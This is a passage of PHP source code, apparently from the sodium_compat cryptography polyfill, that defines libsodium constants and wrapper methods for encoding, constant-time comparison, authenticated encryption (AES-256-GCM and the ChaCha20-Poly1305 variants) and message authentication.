LIBRARY_MAJOR_VERSION = 9; const LIBRARY_MINOR_VERSION = 1; const LIBRARY_VERSION_MAJOR = 9; const LIBRARY_VERSION_MINOR = 1; const VERSION_STRING = 'polyfill-1.0.8'; // From libsodium const BASE64_VARIANT_ORIGINAL = 1; const BASE64_VARIANT_ORIGINAL_NO_PADDING = 3; const BASE64_VARIANT_URLSAFE = 5; const BASE64_VARIANT_URLSAFE_NO_PADDING = 7; const CRYPTO_AEAD_AES256GCM_KEYBYTES = 32; const CRYPTO_AEAD_AES256GCM_NSECBYTES = 0; const CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12; const CRYPTO_AEAD_AES256GCM_ABYTES = 16; const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32; const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0; const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8; const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16; const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32; const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0; const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12; const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16; const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32; const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0; const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24; const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16; const CRYPTO_AUTH_BYTES = 32; const CRYPTO_AUTH_KEYBYTES = 32; const CRYPTO_BOX_SEALBYTES = 16; const CRYPTO_BOX_SECRETKEYBYTES = 32; const CRYPTO_BOX_PUBLICKEYBYTES = 32; const CRYPTO_BOX_KEYPAIRBYTES = 64; const CRYPTO_BOX_MACBYTES = 16; const CRYPTO_BOX_NONCEBYTES = 24; const CRYPTO_BOX_SEEDBYTES = 32; const CRYPTO_CORE_RISTRETTO255_BYTES = 32; const CRYPTO_CORE_RISTRETTO255_SCALARBYTES = 32; const CRYPTO_CORE_RISTRETTO255_HASHBYTES = 64; const CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES = 64; const CRYPTO_KDF_BYTES_MIN = 16; const CRYPTO_KDF_BYTES_MAX = 64; const CRYPTO_KDF_CONTEXTBYTES = 8; const CRYPTO_KDF_KEYBYTES = 32; const CRYPTO_KX_BYTES = 32; const CRYPTO_KX_PRIMITIVE = 'x25519blake2b'; const CRYPTO_KX_SEEDBYTES = 32; const CRYPTO_KX_KEYPAIRBYTES = 64; const CRYPTO_KX_PUBLICKEYBYTES = 32; const CRYPTO_KX_SECRETKEYBYTES = 32; const CRYPTO_KX_SESSIONKEYBYTES = 32; const CRYPTO_GENERICHASH_BYTES = 32; const CRYPTO_GENERICHASH_BYTES_MIN = 16; const CRYPTO_GENERICHASH_BYTES_MAX = 64; const CRYPTO_GENERICHASH_KEYBYTES = 32; const CRYPTO_GENERICHASH_KEYBYTES_MIN = 16; const CRYPTO_GENERICHASH_KEYBYTES_MAX = 64; const CRYPTO_PWHASH_SALTBYTES = 16; const CRYPTO_PWHASH_STRPREFIX = '$argon2id$'; const CRYPTO_PWHASH_ALG_ARGON2I13 = 1; const CRYPTO_PWHASH_ALG_ARGON2ID13 = 2; const CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432; const CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4; const CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728; const CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6; const CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912; const CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8; const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32; const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX = '$7$'; const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288; const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216; const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432; const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824; const CRYPTO_SCALARMULT_BYTES = 32; const CRYPTO_SCALARMULT_SCALARBYTES = 32; const CRYPTO_SCALARMULT_RISTRETTO255_BYTES = 32; const CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES = 32; const CRYPTO_SHORTHASH_BYTES = 8; const CRYPTO_SHORTHASH_KEYBYTES = 16; const CRYPTO_SECRETBOX_KEYBYTES = 32; const CRYPTO_SECRETBOX_MACBYTES = 16; const CRYPTO_SECRETBOX_NONCEBYTES = 24; const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES = 17; const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES = 24; const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES = 32; const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH = 0; const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL = 1; const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY = 2; const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL = 3; const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX = 0x3fffffff80; const CRYPTO_SIGN_BYTES = 64; const CRYPTO_SIGN_SEEDBYTES = 32; const CRYPTO_SIGN_PUBLICKEYBYTES = 32; const CRYPTO_SIGN_SECRETKEYBYTES = 64; const CRYPTO_SIGN_KEYPAIRBYTES = 96; const CRYPTO_STREAM_KEYBYTES = 32; const CRYPTO_STREAM_NONCEBYTES = 24; const CRYPTO_STREAM_XCHACHA20_KEYBYTES = 32; const CRYPTO_STREAM_XCHACHA20_NONCEBYTES = 24; /** * Add two numbers (little-endian unsigned), storing the value in the first * parameter. * * This mutates $val. * * @param string $val * @param string $addv * @return void * @throws SodiumException */ public static function add(&$val, $addv) { $val_len = ParagonIE_Sodium_Core_Util::strlen($val); $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv); if ($val_len !== $addv_len) { throw new SodiumException('values must have the same length'); } $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val); $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv); $c = 0; for ($i = 0; $i < $val_len; $i++) { $c += ($A[$i] + $B[$i]); $A[$i] = ($c & 0xff); $c >>= 8; } $val = ParagonIE_Sodium_Core_Util::intArrayToString($A); } /** * @param string $encoded * @param int $variant * @param string $ignore * @return string * @throws SodiumException */ public static function base642bin($encoded, $variant, $ignore = '') { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($encoded, 'string', 1); /** @var string $encoded */ $encoded = (string) $encoded; if (ParagonIE_Sodium_Core_Util::strlen($encoded) === 0) { return ''; } // Just strip before decoding if (!empty($ignore)) { $encoded = str_replace($ignore, '', $encoded); } try { switch ($variant) { case self::BASE64_VARIANT_ORIGINAL: return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, true); case self::BASE64_VARIANT_ORIGINAL_NO_PADDING: return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, false); case self::BASE64_VARIANT_URLSAFE: return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, true); case self::BASE64_VARIANT_URLSAFE_NO_PADDING: return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, false); default: throw new SodiumException('invalid base64 variant identifier'); } } catch (Exception $ex) { if ($ex instanceof SodiumException) { throw $ex; } throw new SodiumException('invalid base64 string'); } } /** * @param string $decoded * @param int $variant * @return string * @throws SodiumException */ public static function bin2base64($decoded, $variant) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($decoded, 'string', 1); /** @var string $decoded */ $decoded = (string) $decoded; if (ParagonIE_Sodium_Core_Util::strlen($decoded) === 0) { return ''; } switch ($variant) { case self::BASE64_VARIANT_ORIGINAL: return ParagonIE_Sodium_Core_Base64_Original::encode($decoded); case self::BASE64_VARIANT_ORIGINAL_NO_PADDING: return ParagonIE_Sodium_Core_Base64_Original::encodeUnpadded($decoded); case self::BASE64_VARIANT_URLSAFE: return ParagonIE_Sodium_Core_Base64_UrlSafe::encode($decoded); case self::BASE64_VARIANT_URLSAFE_NO_PADDING: return ParagonIE_Sodium_Core_Base64_UrlSafe::encodeUnpadded($decoded); default: throw new SodiumException('invalid base64 variant identifier'); } } /** * Cache-timing-safe implementation of bin2hex(). * * @param string $string A string (probably raw binary) * @return string A hexadecimal-encoded string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function bin2hex($string) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1); if (self::useNewSodiumAPI()) { return (string) sodium_bin2hex($string); } if (self::use_fallback('bin2hex')) { return (string) call_user_func('\\Sodium\\bin2hex', $string); } return ParagonIE_Sodium_Core_Util::bin2hex($string); } /** * Compare two strings, in constant-time. * Compared to memcmp(), compare() is more useful for sorting. * * @param string $left The left operand; must be a string * @param string $right The right operand; must be a string * @return int If < 0 if the left operand is less than the right * If = 0 if both strings are equal * If > 0 if the right operand is less than the left * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function compare($left, $right) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2); if (self::useNewSodiumAPI()) { return (int) sodium_compare($left, $right); } if (self::use_fallback('compare')) { return (int) call_user_func('\\Sodium\\compare', $left, $right); } return ParagonIE_Sodium_Core_Util::compare($left, $right); } /** * Is AES-256-GCM even available to use? * * @return bool * @psalm-suppress UndefinedFunction * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aes256gcm_is_available() { if (self::useNewSodiumAPI()) { return sodium_crypto_aead_aes256gcm_is_available(); } if (self::use_fallback('crypto_aead_aes256gcm_is_available')) { return call_user_func('\\Sodium\\crypto_aead_aes256gcm_is_available'); } if (PHP_VERSION_ID < 70100) { // OpenSSL doesn't support AEAD before 7.1.0 return false; } if (!is_callable('openssl_encrypt') || !is_callable('openssl_decrypt')) { // OpenSSL isn't installed return false; } return (bool) in_array('aes-256-gcm', openssl_get_cipher_methods()); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * AES-256-GCM * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string|bool The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_aes256gcm_decrypt( $ciphertext = '', $assocData = '', $nonce = '', $key = '' ) { if (!self::crypto_aead_aes256gcm_is_available()) { throw new SodiumException('AES-256-GCM is not available'); } ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_AES256GCM_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_AES256GCM_ABYTES long'); } if (!is_callable('openssl_decrypt')) { throw new SodiumException('The OpenSSL extension is not installed, or openssl_decrypt() is not available'); } /** @var string $ctext */ $ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0, -self::CRYPTO_AEAD_AES256GCM_ABYTES); /** @var string $authTag */ $authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext, -self::CRYPTO_AEAD_AES256GCM_ABYTES, 16); return openssl_decrypt( $ctext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $authTag, $assocData ); } /** * Authenticated Encryption with Associated Data: Encryption * * Algorithm: * AES-256-GCM * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte GCM message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_aes256gcm_encrypt( $plaintext = '', $assocData = '', $nonce = '', $key = '' ) { if (!self::crypto_aead_aes256gcm_is_available()) { throw new SodiumException('AES-256-GCM is not available'); } ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long'); } if (!is_callable('openssl_encrypt')) { throw new SodiumException('The OpenSSL extension is not installed, or openssl_encrypt() is not available'); } $authTag = ''; $ciphertext = openssl_encrypt( $plaintext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $authTag, $assocData ); return $ciphertext . $authTag; } /** * Return a secure random key for use with the AES-256-GCM * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_aes256gcm_keygen() { return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * ChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_chacha20poly1305_decrypt( $ciphertext = '', $assocData = '', $nonce = '', $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_decrypt')) { return call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_decrypt', $ciphertext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data * * Algorithm: * ChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_chacha20poly1305_encrypt( $plaintext = '', $assocData = '', $nonce = '', $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_encrypt')) { return (string) call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_encrypt', $plaintext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * ChaCha20-Poly1305 * * IETF mode uses a 96-bit random nonce with a 32-bit counter. * Regular mode uses a 64-bit random nonce with a 64-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 12 bytes * @param string $key Encryption key * * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_aead_chacha20poly1305_ietf_decrypt( $ciphertext = '', $assocData = '', $nonce = '', $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_decrypt')) { return call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt', $ciphertext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the ChaCha20-Poly1305 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_chacha20poly1305_keygen() { return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES); } /** * Authenticated Encryption with Associated Data * * Algorithm: * ChaCha20-Poly1305 * * IETF mode uses a 96-bit random nonce with a 32-bit counter. * Regular mode uses a 64-bit random nonce with a 64-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_chacha20poly1305_ietf_encrypt( $plaintext = '', $assocData = '', $nonce = '', $key = '' ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_encrypt')) { return (string) call_user_func( '\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt', $plaintext, $assocData, $nonce, $key ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the ChaCha20-Poly1305 * symmetric AEAD interface. (IETF version) * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_chacha20poly1305_ietf_keygen() { return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES); } /** * Authenticated Encryption with Associated Data: Decryption * * Algorithm: * XChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $ciphertext Encrypted message (with Poly1305 MAC appended) * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * @param bool $dontFallback Don't fallback to ext/sodium * * @return string|bool The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext = '', $assocData = '', $nonce = '', $key = '', $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } else { $assocData = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) { throw new SodiumException('Message must be at least CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) { return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $assocData, $nonce, $key ); } /** * Authenticated Encryption with Associated Data * * Algorithm: * XChaCha20-Poly1305 * * This mode uses a 64-bit random nonce with a 64-bit counter. * IETF mode uses a 96-bit random nonce with a 32-bit counter. * * @param string $plaintext Message to be encrypted * @param string $assocData Authenticated Associated Data (unencrypted) * @param string $nonce Number to be used only Once; must be 8 bytes * @param string $key Encryption key * @param bool $dontFallback Don't fallback to ext/sodium * * @return string Ciphertext with a 16-byte Poly1305 message * authentication code appended * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_aead_xchacha20poly1305_ietf_encrypt( $plaintext = '', $assocData = '', $nonce = '', $key = '', $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); if (!is_null($assocData)) { ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2); } else { $assocData = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) { throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) { throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) { return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt( $plaintext, $assocData, $nonce, $key ); } /** * Return a secure random key for use with the XChaCha20-Poly1305 * symmetric AEAD interface. * * @return string * @throws Exception * @throws Error */ public static function crypto_aead_xchacha20poly1305_ietf_keygen() { return random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES); } /** * Authenticate a message. Uses symmetric-key cryptography. * * Algorithm: * HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits. * Not to be confused with HMAC-SHA-512/256 which would use the * SHA-512/256 hash function (uses different initial parameters * but still truncates to 256 bits to sidestep length-extension * attacks). * * @param string $message Message to be authenticated * @param string $key Symmetric authentication key * @return string Message authentication code * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_auth($message, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_AUTH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_auth($message, $key); } if (self::use_fallback('crypto_auth')) { return (string) call_user_func('\\Sodium\\crypto_auth', $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::auth($message, $key); } return ParagonIE_Sodium_Crypto::auth($message, $key); } /** * @return string * @throws Exception * @throws Error */ public static function crypto_auth_keygen() { return random_bytes(self::CRYPTO_AUTH_KEYBYTES); } /** * Verify the MAC of a message previously authenticated with crypto_auth. * * @param string $mac Message authentication code * @param string $message Message whose authenticity you are attempting to * verify (with a given MAC and key) * @param string $key Symmetric authentication key * @return bool 